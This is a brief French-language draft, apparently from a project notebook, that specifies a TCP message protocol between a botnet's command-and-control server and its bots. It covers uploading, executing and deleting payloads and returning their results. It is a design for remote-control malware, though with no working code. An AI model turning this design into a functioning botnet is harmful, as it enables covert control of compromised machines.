ProtocoleTCP_Charges 1.44 KB
Proposition protocole pour installer la charge utile sur le bot:
$C&C: "upload?\n"
$bot: "OKupload\n"
$C&C: "%d\n", charge.name.size
$bot: "OKname_size\n"
$C&C: "%s\n", charge.name
$bot: "OKname\n"
$C&C: "%d\n", charge.data.size
$bot: "OKdata_size\n"
$C&C: "%s\n", charge.data  //on envoi octect par octet
$bot: "bye"\n" //qd a recu tt les packets
$C&C: "bye"\n"

Execution charge:
$C&C: "execute?\n"
$bot: "OKexecute\n"
$C&C: "%d\n", charge.name.size
$bot: "OKname_size\n"
$C&C: "%s\n", charge.name
$bot: "OKname\n" //si la charge n'est pas presente sur le bot alors se dernier envoi un autre message "NOKname\n" et ca stop l'echange
$bot: "%d\n", id //indice de l'execution dans la structure de donne choisie (liste chaine, table de hashage...a definir) pour stocker les resultats d'execution sur le bot
$C&C: "OKid\n"
$bot: "bye"\n"
$C&C: "bye"\n"

Suppression charge:
$C&C: "delet?\n"
$bot: "OKdelet\n"
$C&C: "%d\n", charge.name.size
$bot: "OKname_size\n"
$C&C: "%s\n", charge.name
$bot: "OKname\n"  //si la charge n'est pas presente sur le bot alors se dernier envoi "NOKname\n" et ca stop l'echange
$C&C: "bye"\n"
$bot: "bye"\n"

Resultat execution charge:
$C&C: "result?\n"
$bot: "OKresult\n"
$C&C: "%d\n", id
$bot: "OKid\n" //si id existe pas, renvoie "NOKid\n" et stop l'echange
$bot: "%d\n", executions[id].result.size
$C&C: "OKresult_size\n"
$bot: "%s\n", executions[id].result  //on envoi octect par octet
$C&C: "bye"\n" //qd a recu tt les packets
$bot: "bye"\n"